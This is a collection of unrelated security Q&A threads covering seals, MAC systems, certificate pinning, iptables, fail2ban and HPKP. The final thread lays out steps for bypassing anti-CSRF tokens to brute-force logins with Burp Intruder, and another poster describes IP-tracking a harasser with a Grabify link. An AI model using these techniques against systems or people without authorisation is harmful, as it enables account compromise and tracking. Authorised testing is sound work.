Is there a security device to register unauthorised physical access? I understand that it is not possible to secure your software if a third party has physical access to the box (eg colo). So may be I can install some sort of hardware (like a seal) which only need to be physically broken to get access to certain server components (eg RAM). So if it is broken I get compensation through legal process rather.

Any ideas are welcome.

EDIT. PLEASE answer the question - are there commercially available tamper evident devices for rack mounted computers?

Here is another question which explains the underlying issue for those with curious minds :) Help to account all the points of physical access to a rack server to steal software

It sounds like you want a tamper-evident security seal.  There are many commercial offerings.  You can look at tamper-evident tape, cable seals, padlock seals, and many other options.  I recommend that you read background information from Argonne National Laboratory, which has done some of the best research on the security of these seals.

Let me warn you of some caveats.  First, the effectiveness of the seal is highly dependent upon the procedure used for inspecting the seal.  Second, most seals can be defeated without too much sophistication, so they provide only a low level of security.  You are not going to find something that "proves in court" that the item was not opened.

I also recommend you read Security Seals On Voting Machines: A Case Study, by Andrew Appel.  It is a case study that looks at how these seals have been used to protect voting machines.  It has many great pictures of examples of seals that have been used in that industry, to give you a feeling for the range of options.  It also gives some hard-earned lessons: for instance, it explains why seals have been ineffective at protecting voting systems, and (as a cautionary note) it talks about how easy it was for someone with no prior knowledge of the topic to work out on his own how to defeat the seals.

With all that, tamper-evident security seals might still meet your needs.  But you need to understand that they are not magic, they are not a silver bullet, and they do have some limitations.


Security tradeoffs of pathname-based MAC (e.g., TOMOYO, grsecurity, AppArmor, ...) I have been learning about MAC (Mandatory Access Control) systems in Linux.  Often, but not always, these are tied to Linux Security Modules.  Some systems I've looked at: SELinux, Tomoyo, AppArmor, grsecurity, Smack.

As far as I understood, all those systems rely on setting up a catalog of rules. Those rules define finer-grained access policies for files and system resources and thus provide increased security.

Given the intent to restrict access to file, it is logical that we have to know "which" files and hence file references are essential for those rules to make sense. This is what my question is related to.

With the noticable exception of SELinux and Smack, the other approaches use file paths (pathnames) to identify the files in the rules. I have seen others judge this approach insecure, because one file could have several names at the same time (links, bind-mounting, etc).

Is the approach of using pathnames secure?  What are the advantages and disadvantages of these pathname-based schemes?  Would it be accurate to state that "Pathname-based MAC (such as TOMOYO, grsecurity, AppArmor, …) have a real conceptual flaw"?

Quite frequently this appraoch is judged insecure stating that one file could have several names at the same time (links, bind-mounting etc).

It is most certainly true that one file could have multiple security contexts, one for each name. However, whether or not this is insecure depends on how you view it:

This feature of AppArmor does not require that remote filesystems support AppArmor, so for example it can be implemented for NFS paths.
Usually, Unix DAC remains enabled, so even interesting applications such as the contents of /usr/bin should not be writeable. In theory!
There may be additional controls to prevent end users from mounting or symlinking.

However, all of that aside, the goal of MAC-type projects is to confine processes as well as users, so that a process run as user only runs with the necessary permissions it needs. Few applications, except perhaps ln, need the ability to create symbolic links and those that do do not require them on all directories and paths. So it should be possible to implement the desired containment for most processes.

Whilst not suffering from the potential issue in pathnames, inode-based security does have its problems:

The information attached to file security is stored in xattrs (extended attributes) which means special considerations for network file systems.
Some applications change inode values which can cause issues working with security contexts - specifically your file is likely to revert to the default security context if you edit it and vim operates this way.

I think the difference is quite subtle and it is not a case of one is more secure than the other, as that each has its advantages and drawbacks. Properly understood, both enable secure policies to be implemented.


Kali Linux explain output What are the errors if any from this screen shot?

The output I received was confusing to me. I have the screen shot for reference.

At the command prompt, type cd ~/stonesoup-c-mc/TC_C_121_v968/src and press Enter to change the directory.
At the command prompt, type vi random_lw.c and press Enter to review the program in the editor.
In the Lab Report file, document any errors, bugs, or security flaws you find.

This is not a command line. this is a VIM text editor, and you have opened a C language program in it. you can press ":wq" to exit this editor and you will be back on the command line


TVRA does it cover physical, cyber and information security? For that matter is TVRA only linked to security?

Can it be used to assess, evaluate all or any situation and from there, come up with control measures?

Yes, it can and it is actually used for non-technical situations/ vulnerabilities.  You can thing at TVRA as a multi-layer procedure. There are companies who do this more thoroughly (covering each category/ layer), others do it as much as it justifies the costs, the allocated time and the urgency of it (for example if it is needed for regulations).  Most of the companies do this from business point of view, not from cyber-security point of view, even if the control measured that will be defined will be technical. So they take into account everything from who has access into the building, possible software authentication issues, human non technical mistakes and so on up to who could steal funds and how. As you said, every situation they can think of, not cyber security threats that apply. I think this is the usual approach. You think what are your assets (from  business point of view, again; and then, for each of them, you can think what can go wrong with your process so it would affect that asset in each way it could be affected.
There are other companies as well, usually with more resources, who prefer to go as much in depth as possible and to have a different document for each layer, both technical and non-technical such as one document for physical security, one for application security, one for network security and so on.


Monitoring an uninvited guest on my WLAN? At home I configured a common, residential, consumer-grade wireless
network. It is build from a Broadcom router connecting a few personal devices (i.e. my laptop & smartphone) to the Internet.

My WLAN is not public and secured through WPA2.

Recently I discovered an unfamiliar host on my private WLAN.

Can I monitor and investigate that particular hosts traffic to try and identify who it is, or what they're doing?

How may I proceed against what looks like an uninvited scrounger?

Assuming you have control of the network equipment then yes you can log and monitor their actions.

Full packet capture: Ideally you want full-packet capture of all traffic at key ingress/egress points for each segment. You asked for the best way to do this and this would give you the most data about traffic on your network. Even if you can only capture the traffic at one point that you know this unfamiliar host is using to connect to the Internet you will learn a lot.

NetFlow: If full-packet capture is not an option you may be able to enable NetFlow of some form on the devices and see the connections made by this unfamiliar host. This won't be as comprehensive as full packet capture but it will give you a ton of great information.

Firewall Rules or access-control-lists used to log: You may be able to enable logging-only firewall rules on the devices which this unfamiliar host is communicating through. Depending on the type of device used the level of logging information will vary. Some device can do packet captures which would be great if that's an option.

Look at the DNS cache (or record DNS queries) made by the unfamiliar host if he/she is using your DNS. You may need to enable WireShark/tshark on the DNS server but at least it will give you more information about the user, the type of software they are running, and possibly company affiliations.

Proxy or webfilter logs: If your network happens to have any kind webproxy to protect client end-points from surfing to potentially dangerous sites you could look at these logs. Given you are asking the question you are asking I suspect you don't have this.

Vulnerability Scanning Logs: Does your network get regular vulnerability scans ? If so see what data it recorded about this host.

Internal web server logs: Do you think this device may have accessed an internal website ? If so see if you can get User-Agent information from the web server log relating to this host. This may help you identify the device and if it's a mobile device you can get a lot of information about it sometimes including the devices firmware version.

Those are the places to start looking for passive analysis. Obviously more can be done if you are allowed to actively probe the device but that is beyond the scope of your question.


What is the best way to get a third party audit done of website security? I have a website that needs to be PCI compliant.  I have coded it using the guidelines but to be safe i wanted to get a third party audit done where this individual who runs a IT security firm and does individual projects will look at the source code and will also do penetration tests, etc.

Now while it will make me feel comfortable that somebody who is well-versed with it will be scanning the site and making necessary changes if need be but i am uncomfortable with the fact that that one person will know how we code things and how we process things.

Now i have two options, either i let him test the site on our website that we need it for or i move the site to another domain and call it something else.  But I also want him to sign a NDA agreement which will then have to have my company's name on it.  So i am sort of lost?

How does one allow third party audits without being vulnerable to them?

I'd echo what the other answers have said in that what you're describing is a fairly standard security review process and if done properly you shouldn't have much to worry about in terms of the audit company having access to your data.

A couple of points which may be of use

In choosing the company if there are any well-known industry bodies, you could consider using an accredited provider (eg, in the UK there's CREST ). as @D.W. says, testing companies are professional organisations and even an accusation of misusing customer data would be bad for them, so I'd expect most to be very careful with that side of things.
Contracts and NDAs should be in place between your companies. Part of that would of course include a requirement that they don't misuse any data from the test.
One point you mentioned about the auditing company making changes to your site.  Usually a security testing firm would just report results and make recommendations for change rather than actually altering a live system, and I'd say that's a good approach.  The audit company won't have a complete knowledge of your systems, so it could be risky for them to make changes to them.


how are flaws in google chrome usually patched and disclosed When there is a vulnerability like Flash's in any piece of software such as Chrome, is it disclosed immediately to the general public, or is it kept a secret until it is patched?

If the former, are all the details of the vulnerability usually disclosed?

Usually the vendor is informed by the person who has found the vulnerability. The vendor is given some time to fix the issue before the vulnerability is disclosed publicly. This is called responsible disclosure. This way, there is already a fix available when the vulnerability gets publicly known.


Does checking the fingerprint of a self signed certificate improve security? I am currently developing a component for an application that does TCP communication with a device inside a local area network. I use TLS to provide data encryption, integration and authorisation. However, I have to use self signed certificates which will not expire in like 5 years or more.

Since using self-signed certificates exposes my application to man-in-the-middle-attacks, I was thinking about hardcoding the fingerprint of the certificate into my application. When the device sends my it's certificate, I will compare it's fingerprint of the certificate wito to the hardcoded fingerprint.

Now, does this improve the security of my application? Is it possible for an attacker to produce his own self-signed certificate that has the same fingerprint? I also plan on using a client-certificate which I will send to the device during TLS-handshake. The device than has to check the fingerprint of my certificate.

Is this solution valid?

Thanks in advance for your answers!

In SSL/TLS, the client uses the server's public key. Since in general the client does not know the server's public key in advanced, it expects to obtain it through the magic of the Public Key Infrastructure: the server's public key will be presented in a certificate and the client will be able to verify that:

the certificate contents are genuine (that's validation: signatures and names and certificate extensions are correct and link up to a trusted root);
the certificate is owned by the intended server (the expected server name appears in the Subject Alt Name extension of the certificate, or its Common Name if there is no SAN extension).

Now all of this is needless complication if the client already knows the public key; if that key is known a priori, then the client can just use it and simply ignore the certificate sent by the server.

For the sake of compatibility with the formal specification of the protocol, and to more easily reuse existing libraries and implementation, it is probably even simpler to do what you suggest, i.e. verify that the server's certificate is bit-to-bit the expected certificate, and let the code extract the public key from that. The "fingerprint", if it is computed with a hash function which is resistant to second preimages (e.g. SHA-1), can be used for that check. This is fine.

In your case, I understand that the server is the device, and the client is your application. Your application won't be fooled (talking to a fake device) only as long as the attacker has not compromised the device's private key, i.e. extracted it from a device. If you have several devices then each device should have its own private/public key pair. If all devices have the same key pair, then the private key cannot be considered "private": a secret which is known to more than two or three people is not a secret, but a rumour.

The "safe" way is then to have some sort of initialization phase, under controlled conditions, where the application instance learns the fingerprints of the devices to which it will thereafter connect (maybe the application generates the public/private key pairs and self-signed certificates, and imports them into the devices).

This is the security model used in SSH: the first connection from a client to a given server requires an explicit confirmation (the client shows the server's public key fingerprint, and the human user is supposed to verify it by, for instance, phoning the server sysadmin); afterwards, the client trusts that public key because it remembers the fingerprint.

The "remember the key" model works well, but you must be aware that it forfeits the PKI feature known as revocation: an out-of-band, automatic mechanism to convey damage containment information. If the private key of one of the devices is compromised, then the thief can thereafter run a fake device and fool your application into connecting to it; to avoid this situation to persist, the application must somehow be warned that a given certificate fingerprint must no longer be accepted. Revocation checks, with regularly published CRL or OCSP responses, is an automatic method to do that. When you have remembered fingerprints, there is no PKI, thus no CRL. But the need may be still there.

If you follow the no-PKI road, with embedded certificate fingerprints, then you have to decide whether you need something to ensure the job normally done by CRL.


Would a VPN cause this? A friend of mine was recently being harassed on Instagram, with the person claiming to know her and saying he'd let her know if he saw her on a night out. To help her out, I used grabify IP tracker to create a link, which she sent to him and he opened twice - the first time directly from Instagram DM, the second copy and pasted into their phone browser.

As I suspected, the IP came back to someone in the US (we live in the UK), so it wasn't anyone she knew at all. However, I noticed that the IP addresses on each click were slightly different and she thinks it's because he's using a VPN.

The first IP address was xxx.xxx.115.38 (opening via Instagram)

The second was xxx.xxx.99.18, pasted into the browser.

The xxx.xxx part of the IP addresses are the same.

Why would they be different, and could it be that they are using VPN and it is someone that she knows?

Google Chrome on Android has a Data saver feature that proxies requests through googles servers. Other browsers may have similar features.

You can't really glean much information from just the IP. Looking at whois for the IP would give you a bit more information. If it's from googles proxies, they will probably have googles contact info in the whois.


Do thin-clients need antivirus/antimalware? All the servers & fat clients on site are protected with ESET Endpoint Antivirus, however I notice none of the thin clients have any type of AV enabled.

A brief Google search doesn't show much interest in securing these little beasties. Should I look into a lightweigh AV system for these, or are they fine?

Running Windows 8 and 10 iot embedded.

The point is that if an end-user plugs in een USB it can infect devices on the network.

This depends on quite a few factors. A few points for and against AV in thin clients. What is the thin client actually used for? Is it normal users workstations or or a specific app?

What connectivity do they have? Access to network shares? This could allow malware to spread across the infrastructure via shares, this could include ransomware.
Are the the clients sessions destroyed and reverted when they log out? This would clear any existing malware on the system. However, depending on the connectivity as above movement to another server may have already taken place if the connection allows it.
If you have connectivity to the web, and nothing else, if malware gets onto that machine data from that session and users profile could be exfiltrated via the internet.
Does the host the clients are running on have AV? And are the shares scanned on a regular basis? This could be a good halfway house, but won't be able to detect in memory malware, but to be persistent, malware must write to a file "at some point" and when this happens if you are scanning all the mount points used within the thin client, then you should be able to detect it.

In my view, as a someone in the security field, I'd say yes, run AV. It's potentially a point of exposure for malware to enter your network and you want to stop that asap.


How to block all inbound traffic from a specific Internet address or subnet using TomatoUSB router software (LINUX based) I'm not trained in Linux, but I think I found the solution to my problem documented, but it is not working as expected.  I am NOT an iptables guru, I'm learning as I go.

A Russian IP is trying to hack my network, especially an email server I have running on my network.  So I have a port forward of port 25 to the mail server machine.  My router is running TomatoUSB - a Linux based router I have root ssh access to.

I've tried this command:

 iptables -I INPUT -s 45.142.195.5 -j DROP

And

 iptables -L -nv

returns a lot of stuff, and now at the very beginning looks like this:

 Chain INPUT (policy DROP 9 packets, 504 bytes)
  pkts bytes target     prot opt in     out     source               destination
     0     0 DROP       all  --  *      *       45.142.195.5         0.0.0.0/0

This did not stop the traffic, though, as my email server is still reporting connection attempts from this IP address, so the rule is not dropping anything.

Perhaps the INPUT chain is not where I need to add this?  I'm not yet educated on the different chains yet. INPUT intuitively seemed like the right place, but because this is a NAT router, should I really have some sort of rule in the FORWARD chain that can say not to forward to anyone if this is the source address?

Seems like what I want to do should not be difficult, but I'm struggling to figure this one out so far.

As I wrote "Perhaps the INPUT chain is not where I need to add this" I decided to look more closely at the output of the iptables -L -nv command.  Sure enough, I found a chain called "wanin" that has all my port forwarding rules.  Aha moment - I want to block some port forwarding!

So I changed my command to:

iptables -I wanin -s 45.142.195.5 -j DROP

and lo and behold - the constant logging in my email server logs of attempts to login from this address has stopped!

Now I have to figure out how to add this to a script run when the router reboots.  This command is not "permanent" or remembered between boots.

I'll also probably change the source to 45.142.195.0/24 to block the whole subnet.


Two passwords provide better security than two-factor authentication? While evaluating 1Password's new Teams service, I noticed rather curious absence of support for multifactor authentication.

When asked about the lack of MFA, they replied:

  We use an Account Key combined with the Master Password for security that is better than two-factor.  https://teams.1password.com/security/

That page says:

  Security professionals recommend using multiple authentication factors: “something you know”, like your password, and “something you have”, like an authenticator app on your phone.

  The Account Key takes this idea to the next level. It doesn’t just authenticate you with our servers; it also plays a direct role in encrypting your data. That’s important, because it strengthens your Master Password exponentially. And since it never gets sent over the network, your Account Key can’t be reset, intercepted, or evaded.

The "account key" is essentially a second password that is generated for you.  When you sign up for the 1Password Teams service, you are sent an "Emergency Kit" PDF that you're meant to print out.  It contains the account key and even encourages you to write down your master password.

The account key is stored in your browser's local storage.  If you login from a new device, you must manually enter the account key after entering your password.

As far as I can tell, this approach is remarkably worse than real two-factor authentication.  An attacker who:

Obtains your printed Emergency Kit
Obtains a copy of the PDF
Can MITM your connection with 1password.com
Installs malware on your computer

which can either steal the account key from local storage, or
observe when you type it in (along with your master password)

...has everything needed for unfettered, ongoing, remote, and undetectable access to an extremely sensitive account.

Contrast with real two-factor authentication: the secondary key is securely stored on a separate device.

Obtaining the master password alone does not help; an attacker needs to take possession of the authenticator device.
Even if you log in with a compromised device/connection, an attacker does not gain ongoing access to your account.  The one-time password (TOTP) generated by the authenticatior device is useless for future access.

What am I missing here?

Ah marketing. (And they even trademarked the stupid thing)

The problem here lies in the fact that they really aren't comparing things correctly. They're mixing up authentication of the caller and protection of your secret data, jumbling them all together and then comparing that jumble with something tangentially related to just the first part, and then making a big bold claim that might be correct if you twist logic just a little too much. It's kind of like mixing ice cream and nuts and calling it healthier than vegetables because nuts make ice cream healthy-er (if the only takeaway you got from that is good analogies are hard...).

But really, no this is not better than 2FA because it doesn't actually introduce a separate factor, just another instance of an existing factor (something you know). It is marginally better than a single password, but if I can steal your password I can probably steal your other password with just a little bit more effort.

It might make the protection of your passwords a bit better if the decryption of the passwords occurs on the browser using the key from localStorage (it might do this, as they mention WebCrypto standards, and it doesn't seem to support IE).

With that being said the emergency kit is very much intended to not be secure, but to be available to you in an emergency. This is for break-glass scenarios where you absolutely need access. If you get this then its game over no matter what.

On the other hand, as it stands real 2FA might not solve all your attacks either. If you can still MITM the browser and server then you can get both the user password and account password and even the 2FA code (fail the request for the user, use the passwords and 2FA code and then pilfer the secrets).


Firefox Add-ons not using HTTPS? Security bug. (?) If I add a rule in Privoxy:

echo '{ +redirect{s@http://@https://@} }
.mozilla.org' >> /etc/privoxy/user.action

then I can't install Firefox Add-ons. Why?
I though the Firefox Add-ons installed through only HTTPS! If it's ain't using only HTTPS then it could be compromised in a way, that someone makes a tool that automates that: fetch the Add-on installs in a subnet (e.g.: LAN) and replace them with malicious code.. presto..a torjaned Add-on has been installed, and can do anything what the user can (who is running the Firefox).
This is important! Could someone confirm me?
Thanks.

Mozilla extensions, no matter what the download site says, are served through this URL:

http://releases.mozilla.org/pub/mozilla.org/addons/NUMBER/EXTENSION_NAME.xpi

But, here is the thing: releases.mozilla.org is load-balanced through DNS, it's used like a Content Distribution Network. Here is the dig result:

;; ANSWER SECTION:
releases.mozilla.org.   60  IN  CNAME   releases.geo.mozilla.com.
releases.geo.mozilla.com. 60    IN  A   216.165.129.141
releases.geo.mozilla.com. 60    IN  A   64.50.233.100
releases.geo.mozilla.com. 60    IN  A   64.50.236.52
releases.geo.mozilla.com. 60    IN  A   64.50.236.214
releases.geo.mozilla.com. 60    IN  A   128.61.111.9
releases.geo.mozilla.com. 60    IN  A   129.101.198.59
releases.geo.mozilla.com. 60    IN  A   131.188.12.212
releases.geo.mozilla.com. 60    IN  A   155.98.64.83
releases.geo.mozilla.com. 60    IN  A   156.56.247.196
releases.geo.mozilla.com. 60    IN  A   204.152.184.113
releases.geo.mozilla.com. 60    IN  A   204.152.184.196
releases.geo.mozilla.com. 60    IN  A   204.246.0.136
releases.geo.mozilla.com. 60    IN  AAAA    2001:6b0:e:2018::1337

Those are all the IPs that domain can take, you can hit a different server every time you use the URL. They are all different servers, usually hosted in various universities around the world.

And here comes the problem:

The result of tests I did just know confirm that none of these servers supports HTTPS connection.

So if you blindly try to reach https://releases.mozilla.org/pub/mozilla.org/addons/NUMBER/EXTENSION_NAME.xpi the request will fail, or will take too long because some of the servers don't immediately refuse the connection so it has to time out.

time wget https://releases.mozilla.org/pub/mozilla.org/addons/138/stumbleupon-3.81-fx+sm.xpi
https://releases.mozilla.org/pub/mozilla.org/addons/138/stumbleupon-3.81-fx+sm.xpi
Resolving releases.mozilla.org... 129.101.198.59, 131.188.12.212, 155.98.64.83, ...
Connecting to releases.mozilla.org|129.101.198.59|:443... failed: Connection timed out.
Connecting to releases.mozilla.org|131.188.12.212|:443... failed: Connection refused.
Connecting to releases.mozilla.org|155.98.64.83|:443... failed: Connection timed out.
Connecting to releases.mozilla.org|156.56.247.196|:443... failed: Connection refused.
Connecting to releases.mozilla.org|204.152.184.113|:443... failed: Connection timed out.
Connecting to releases.mozilla.org|204.152.184.196|:443... failed: Connection refused.
Connecting to releases.mozilla.org|204.246.0.136|:443... failed: Connection refused.
Connecting to releases.mozilla.org|216.165.129.141|:443... failed: Connection refused.
Connecting to releases.mozilla.org|64.50.233.100|:443... failed: Connection refused.
Connecting to releases.mozilla.org|64.50.236.52|:443... failed: Connection refused.
Connecting to releases.mozilla.org|64.50.236.214|:443... failed: Connection refused.
Connecting to releases.mozilla.org|128.61.111.9|:443... failed: No route to host.
Connecting to releases.mozilla.org|2001:6b0:e:2018::1337|:443... failed: Network is unreachable.

real    **9m31.370s**

It took 9:30 minutes for the request to finally fail (I don't have IPv6 connection right now so I don't know if the last server supports it, but I doubt it).

For third party verification this helps: https://www.ssllabs.com/ssldb/analyze.html?d=releases.mozilla.org

Just to make it clear: Extensions like HTTPS Everywhere will not work - in fact I tested it and the addon is still served through HTTP (it does not rewrite releases.mozilla.org - if it did, you wouldn't be able to get the extension.)


Can I block the true IP address using X-Forwarded-For header in IIS? All the traffic gets to my IIS server through a proxy. I can't block or white list IP addresses because all the traffic comes from the proxy's IP address.

Can I use the X-Forwarded-For header with IIS?

I would proceed with caution using a HTTP header for IP filtering considering they can be controlled by the client unless your webserver takes this in account when it forwards your request.

What happens if I as not authorized send X-Forwarded-For in my headers? Will your webserver add an extra X-Forwarded-For? Will it add it below or above mine? Which one will the IIS use to validate on?

These are questions you need to be able to answer before implementing any trust in the header value.

Edit: I dont know of a better alternative, but if you are going for the one you're question you should be able to answer the questions first. I am not talking about passing through multiple proxies, but instead what happens if I put my own X-Forwarder-For header on the bottom of my request? Will your proxy add another one further up? Will there be two X-Forwarder-For? Which one will the webserver look at?


Android Malware Dataset I am working on a project to identify the author of the malicious apk. To test my results I need dataset of malicious apks along with their authors. Currently I am working on a dataset which is very small. Could anyone please suggest some resources so that I can have a good amount of malicious apks along with their authors to evaluate my results ?

Another reasonably useful dataset that i've come across is:

AndroMalShare - http://sanddroid.xjtu.edu.cn:8080/ (The domain name has changed at some point but can be found also at http://202.117.54.231:8080/#home ... and if not, the project seems to go as "AndroMalShare Project" ... so just Google that)


Trend Micro showing security warning on website. Unsure how to resolve it I have a client with a website that sells a book. When someone clicks a button to purchase the book, a form is supposed to pop up (and does). However, I received a screenshot showing that, when that button is clicked, a security warning from Trend Micro also displays see screenshot

.

The URL mentioned in the warning is obviously NOT the same as the website. The website also has valid SSL running on it, too.

I logged into the WordPress Admin and saw no suspicious plugins. I also reached out to GoDaddy (the host) and asked if they could do a server-side scan to find any malicious scripts running, and the person said they found none (though he seemed uninformed regarding this issue).

I'd like to figure out what is triggering this warning as well as how to resolve it and prevent it from happening in the future.

Any ideas?

Did you try to intercept any requests that were send to 3rd partys when clicking that button?

Check that websites for Crypto Mining scripts, or better: Open the websites manually and check if your antivirus has problems with it. I think clicking the button may send a quick request to a 3rd party that has these scripts somewhere.

If all of that doesn't work, mark it as a false positive.


Is this logic security / performance wise or not? Each physical user will have about 20 tables in the database.

When a new user registers, another 20 tables will be created with access only for their new MySQL account.

Data does not have to be shared between users.

Is this logic more secure than simply having just 20 tables for all the users?
And what about performance will be dead or not ?

EDIT

I just want to be sure that a user who likes to "play" with injections and finds a way around will not be able to access other user data.

This is a bad design (or no design at all for that matter).

You should model your tables like you create classes in object oriented programming : each class / table represent a concept, so you should have a User table and some permissions on other tables for each user.

Merise is a great method to design database (and much more but it's mainly used to design databases nowadays).
I'm afraid it's a french cultural exception as no other country seems to use it, but if you can find resources in your language it would be of great help with your designs.


RAID-1 and low level formatting (or file shredding), more chances of data recovery? If I have two disks setup as RAID-1. I deleted some files and then made a low level format. made sure the files are not recoverable.

However, if I am to separate them and connect them as separate drives, will I have more chances of recovering the files?

I always assumed that there's one master drive out of the RAID-1 setup, and the controller will somehow "be smart" and do some optimization tricks which will lead to keeping some of the deleted data in one of the drives.

Now, am I assuming wrong? should I disable the RAID-1 setup and low-level format (or shred) them separately to make sure data is gone.

note: the question is not about how effective low-level format is, let's assume it's effective.

In RAID-1, writing to the array is always equivalent to writing to each drive individually.

However, if I am to separate them and connect them as separate drives, will I have more chances of recovering the files?

In theory, any drive may accumulate damage over time. A damaged sector that is taking too long for a read to return or which is failing more times than usual will be copied to a fresh sector, and the previous sector will be marked as unusable. This sector remapping can leave previously written sectors untouched even after overwriting the entire drive. This is not particularly common, but it happens. Naturally, using two drives doubles the probability of this happening.
One small note: Most RAID devices will store a little metadata at the beginning of each drive which contains basic information like a UUID, drive number, drive state, array level, etc. This metadata is not touched when you write to the array. If, for whatever reason, you suspect that there is old, unused data which was not overwritten in that metadata region (which is unlikely as it is typically within the first few hundred sectors of each drive), then writing to the array may not be sufficient since it does not overwrite it. This is highly unlikely though, and is just mentioned here for completeness' sake.

I always assumed that there's one master drive out of the RAID-1 setup, and the controller will somehow "be smart" and do some optimization tricks which will lead to keeping some of the deleting data in one of the drives.

RAID-1 does not involve a "master" drive. In that raid level, every drive is a perfect clone of every other drive (excluding perhaps an identifier kept in the RAID metadata to make it easier to identify individual devices). The controller will not be using any "tricks" that lead to keeping data on one of the drives. That is the reason writing to a RAID-1 array is limited by the speed of the slowest drive, since no optimization is going on and the write will only return once it has been sent to every drive in the array.

Now, am I assuming wrong? should I disable the RAID-1 setup and low-level format (or shred) them separately to make sure data is gone.

Writing to the RAID-1 array is functionally equivalent to writing twice to each individual drive. Anything you write to the array will be duplicated and written to each drive in real-time. Note, however, that a low-level format may not be sufficient if it does not actually overwrite all data. Whether or not it is sufficient depends on the exact software and filesystem you use. But instead of formatting, you should use ATA Secure Erase. This is a firmware feature in modern drives which does a low-level automated erasure of all data. It can take a few hours on older drives, or a few seconds on newer drives that make use of SED. ATA Secure Erase may not work with RAID if the software does not support it, in which case you should disconnect the array and issue the command to each drive individually.


HSTS mixed with HTTP resources We have a container site which implements HSTS and a video sharing site which is using HTTP only and doesn't have TLS implemented, nor will it.

How does one avoid mixed content in container site and keep the security on if it has the resource video from the video site embedded in it? I understand that this is exactly what HSTS tries to fix but I'm trying to understand how we can impose such strict security if we're dependent on some external resources that run insecurely.

Mixed content is not really related to HSTS. It happens whenever you embed unprotected content into a protected (HTTPS) site. To avoid the mixed content error you need to avoid serving mixed content in the first place, i.e. don't embed HTTP content into a HTTPS site.

The preferred way is to embed the content from the original server with HTTPS.
If this is not possible your own server might need to proxy this traffic so it gets served as HTTPS - see How to allow http content within an iframe on a https site and Is it possible to proxy remote content on HTTPS page?. Note that it can be pretty dangerous to simply forward the requests to your site to some other site and forward the response back - you should at least sanitize the request and response and remove any cookies. Even better might be to use a different domain (which you control and which serves HTTPS) to keep the request cross-origin.
The worst option is probably to disable HTTPS on your site too in order to embed HTTP content from a remote site.


Mailcleaner - Fail2ban - mc-exim-filter configuration I'm using Fail2ban on a Mailcleaner server which works pretty good, but I want to update it to ban hosts who want to spoof our addresses. I'm using the "original" mc-exim-filter, but I don't really understand how regular expressions work.
Here is an example from the log:
2021-02-26 00:02:37 H=([77.31.53.117]) [77.31.53.117] F=our@address.com rejected RCPT our@address.com: This domain does not accept mail from itself (spoofing)

I tried many combination based on the already existing failregexes, but it doesn't want to ban the attackers.
Can anyone help?

This would work (matching also another example from below "answer"):
failregex = ^\s*H=(?:\S+ )?\([^)]+\) \[<ADDR>\](?: [A-Z]+=\S+){1,5} rejected RCPT

replace <ADDR> with <HOST> if your fail2ban version < 0.10.
[UPD] Note that fail2ban will cut out the part with timestamp (matching datepattern) from line before it'd apply failregex (or prefregex), so the RE is anchored at first space after timestamp. The space is also optional, so it would be usable with systemd backend (if monitoring of journal, message doesn't contain timestamp at all).


What are the disadvantages of HPKP? I have noticed that many web sites do not implement HPKP even though it is simple to implement. Is there any downside to it?

With HPKP you can pin a certificate in a certificate chain. This is easy to do, as long as you always use the same certificate provider. For example, if you always have DigiCert certificates, you can pin the DigiCert root certificate and this gives increased security.

But what if DigiCert gets compromised? In that case you need a backup certificate key to create a new certificate, which is also allowed by HPKP. You can choose not to do this, but then when your DigiCert certificate gets revoked your users can't visit your site anymore.

So there are a few downsides to HPKP:

You need twice the certificates, with multiple certificate authorities.
You have to store the backup key securely, ready to be used to request a new certificate in case of emergency.
If you screw up your site will no longer be accessible by your users for some time.

Unless you have an airtight automated process for this, I would not recommend using HPKP.

Update: Chrome deprecates HPKP, so they also seem to think it doesn't work.


From a deployment and OPS perspective, should a S/MIME signing and encryption key have different expiration dates? Assuming the client supports different keys, what is some rationale that should be considered for signing and encryption keys?

The encryption key

needs to be present on each device that is used to read email
all those copies means it has a greater risk of getting lost or stolen on mobile devices (and therefore should be revoked)

The signing key

can be device-specific
Since it has a long lasting lifetime (2-4 years), it can be revoked when a device is stolen.

Therefore a fewer subset of messages will have their integrity called into question

Is this valid thinking? What are some other perspectives?

I would suggest that the lifetime of a key should be determined by its strength, according to both its keysize, and to the likelihood of reports of weaknesses in the algoritm used to create the keys.

According to Technet.com in 2009, regarding how long RSA suggest the validity period of a certificate should be, based on how long it would take an adversary to compromise a key, based on the size of the key alone.

Key length of 1024:  Validity period = not greater than 6-12 months
Key length of 2048:  Validity period = not greater than 2 years
Key length of 4096:  Validity period = not greater than 16 years

Also, you cannot have a certificate signed by a CA have a validity period longer than that of the CA itself.


Getting payload in burp intruder dynamically from the website For the purpose of my thesis, I need to find the user name/password combination on a given website. I have tried to achieve that using Hydra but failed miserably due to a hidden form value, which changes any time user enters the website (so it also changes while the user fails to log in).

I guess a much simpler solution is fairly easy to achieve in Burp's Intruder, but I cannot find it. I know the user name and password, which are both put in a Simple List payload. The problem lies in the third payload, which is a token. On the browser, it appears to be changing as described above. Because of that, I suspect Burp should dynamically request the token from the website for every user name/password pair.

Is it possible to do? According to this video, it should be: https://www.youtube.com/watch?v=OXIjNfX7BW8 . In fact, I thought the problem was solved in this video but the token payload does not change. I have also read some Burp Intruder documentation and haven't found a solution.

The protection you are speaking is called anti CSRF tokens. These tokens are random values generated by server and which can be used only once ideally (as in this case as well).

AFAIK, you need to write custom Burp Extender to refresh the token each time for making a next request.

Another, easy way to do this is use burp intruder in Pitchfork mode with two lists. This is explained below.

Step 1: (Harvest the CSRF Tokens )

You need to do a lot (equals to number of users x number of passwords you want to test) of GET requests to the login page using wget/curl and collect the CSRF tokens to a file. Lets call this list as csrftokens.txt.

So, in csrftokens.txt file you will have valid tokens collected above like

xxxx-xxxx-xxxxx
yyyy-yyyy-yyyyy

Step 2:(Generate a single username+password File)

Take your usernames file (users.txt) and password file (password.txt) . Create a list of all possible combinations in the format same as POST request parameters submit.

sample users.txt

user1
user2

sample password.txt

password1
password2

Lets say the site original post parameters string was like

token="xxxx-xxxx-xxxx"&user="exampleuser"&password=" examplepass"

Here,you create a new file with all possible username,password combinations (users_pass.txt) like

user1"&password="password1
user1"&password="password2
user2"&password="password1
user2"&password="password2

Step3:(Tweak the Burpsuite to defeat anti CSRF tokens)

Now, in burp intruder select Pitchfork mode and edit the post parameters as below

token="§from_csrftokens.txt§"&user="§from_users_pass.txt§"

Here, you removed the password field in burp request. This will actually be comming from the users_pass.txt file.

Burp will keep submitting the requests in the format as original post request like below.

token="xxxx-xxxx-xxxx"&user="user1"&password="password1"
token="yyyy-yyyy-yyyy"&user="user1"&password="password2"
..
..

